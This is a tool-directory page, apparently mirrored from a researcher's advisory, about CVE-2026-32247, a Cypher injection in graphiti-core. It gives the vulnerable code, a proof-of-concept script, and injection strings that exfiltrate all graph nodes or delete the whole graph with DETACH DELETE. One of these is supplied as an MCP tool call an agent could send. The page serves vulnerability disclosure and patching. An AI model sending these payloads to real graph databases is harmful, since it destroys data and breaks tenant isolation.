Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/romain-deperne/cve-2026-32247
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationDatabase Security
GitHubromain-deperne/cve-2026-32247

CVE-2026-32247

Cypher Injection in graphiti-core (getzep/graphiti) via unsanitized node_labels — CVSS 8.1

View Repository
3 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-32247 — Cypher Injection in graphiti-core via unsanitized node_labels

Severity: High (CVSS 8.1) CWE: CWE-943 — Improper Neutralization of Special Elements in Data Query Logic Affected: graphiti-core <= 0.28.1 (pip) Fixed in: 0.28.2 Advisory: GHSA NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247

TL;DR

graphiti-core builds Cypher WHERE clauses by joining user-supplied node label strings with | and concatenating them into a raw query. An attacker can inject arbitrary Cypher operators, exfiltrate data from any graph node across all tenants, or delete the entire graph — no parameterization, no validation anywhere in the chain.

How I found this

I was systematically scanning MCP server repositories from the list, focusing on any project that bridges LLM agents to a database backend. Graphiti stood out because it's positioned as memory layer for AI agents — high-value target.

awesome-mcp-servers
the

My scanning pattern for graph databases is simple: grep for f-strings containing MATCH, WHERE, or label concatenation. The line 'n:' + node_labels in search_filters.py jumped out immediately — it's raw string concatenation going straight into a Cypher query. The variable came from entity_types in the MCP tool handler with zero validation.

What made this interesting beyond a standard injection: Cypher's WITH clause lets you break out of a WHERE context and start a completely new pipeline. So ) closes the parenthesized label expression, WITH n transitions to a new clause, and // silently drops the rest of the original query. One payload, full graph access.

I confirmed it in 10 minutes by reproducing the exact logic in a standalone Python script, verified DETACH DELETE deleted all nodes, then wrote the GHSA report.

Affected component

File: graphiti_core/search/search_filters.py, lines 91–92 and 134–135

root@kitploit:~
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause

Entry point: mcp_server/src/graphiti_mcp_server.py, line 441

root@kitploit:~
search_filters = SearchFilters(
    node_labels=entity_types,  # user input passed directly, no validation
)

The entity_types parameter flows from the MCP search_nodes tool call directly into the query builder. Both Neo4j and FalkorDB backends are affected. The Kuzu backend is not affected because it uses parameterized queries.

Root cause

The node_label_filter value (n:Label1|Label2) is embedded into a Cypher query as:

root@kitploit:~
WHERE (n:Label1|Label2) AND ...

Because labels are joined by | and wrapped in parentheses by the caller, an attacker only needs to close the expression with ) and inject new Cypher clauses. The // comment operator suppresses the rest of the original query.

PoC

root@kitploit:~
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
    labels = '|'.join(node_labels)
    return 'n:' + labels

# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization  →  WHERE (n:Person|Organization) AND ...

# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest

# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))

Via MCP tool call:

root@kitploit:~
{
  "tool": "search_nodes",
  "arguments": {
    "query": "test",
    "entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
  }
}

Impact

  • Data exfiltration: Read any node/relationship across all group_id namespaces
  • Data destruction: DETACH DELETE wipes the entire graph
  • Tenant isolation bypass: The group_id filter is applied after the injectable label filter — injecting a WITH clause bypasses it entirely
  • Graphiti is used as the memory layer in several AI agent frameworks; the MCP interface makes this remotely exploitable by any connected agent

Fix

The patched version validates node labels against an allowlist of alphanumeric characters before interpolation, and the fulltext search path uses parameterized queries for group_id values.

Timeline

  • Discovery: 2026-03-xx
  • Reported: GHSA private advisory
  • Patch released: graphiti-core 0.28.2
  • CVE published: CVE-2026-32247
Download Tool